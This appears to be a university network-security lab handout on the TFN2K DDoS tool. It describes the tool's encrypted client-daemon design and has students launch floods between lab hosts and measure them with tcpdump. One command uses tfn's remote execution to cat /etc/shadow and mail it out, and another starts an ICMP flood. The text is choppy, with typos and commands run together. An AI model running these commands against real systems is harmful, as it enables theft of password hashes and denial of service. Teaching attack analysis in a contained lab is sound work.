Distributed Denial-Of-Service (DDoS):TFN2K - An Analysis
The client program tfn running on the Client sending commands to its server nodes which are running a server prgrom td. The ccommunication between the client and server nodes are encrypted with CAST 256 alorgthim (key length from 128 to 256). The communication packets are using random sourc IP via TCP , UDP and ICMP protocol. Hence, the communication is one way from client to server nodes.
Once the server nodes recieve the commands from thier client, they commence the flood attack.
TNF2K proives the following attacks:
ICMP flood attack
tcpdump does not show all the no. of these packets due to packets drop in the network interface but the swtich record down the traffic.
Server node port traffic
Before the attack, the CPU is over 90% idle
Post all your answers and works on your web page
Please do this assignment very carefully
ntec16-36:/tmp> /usr/local2/wsh/ddos/cap1 td: no process killed tcpdump: listening on eth0
cd /usr/local2/wsh/ddos ./tfn -h your_partner_host -c 10 -i "/bin/cat /etc/shadow|/bin/mail your_email@ie.cuhk.edu.hk"
ntec16-36:/tmp> /usr/local2/wsh/ddos/cap2 td: no process killed tcpdump: listening on eth0
./tfn -h your_partner_host -c 6 -i your_host_IP@ Note. Actually this attack will not reach your host because our NTEC router has blocked them all. However, you can measue the attack at the TFN server (i.e. your partner host) by the tcpdump in step II. After a second, the tcpdump at your host should be finished and the tcpdump file, /tmp/ddos.dump, with 10000 icmp packets should be created.Repeat this steps serveral times so as to make sure the TFN server has received your command
Make sure you kill the TFN daemon at your
and your partner host
/usr/local2/wsh/ddos/killd
Use snort or tcpdump to figure out the attack output rate (i.e. How many DOS attack packets per seconds). You can get it from the packet time stamp. For example,
tcpdump -nr /tmp/ddos.dump |head -100 tcpdump -nr /tmp/ddos.dump |tail -100 What spoofing IP did the attack use?Post all your findings on your web pages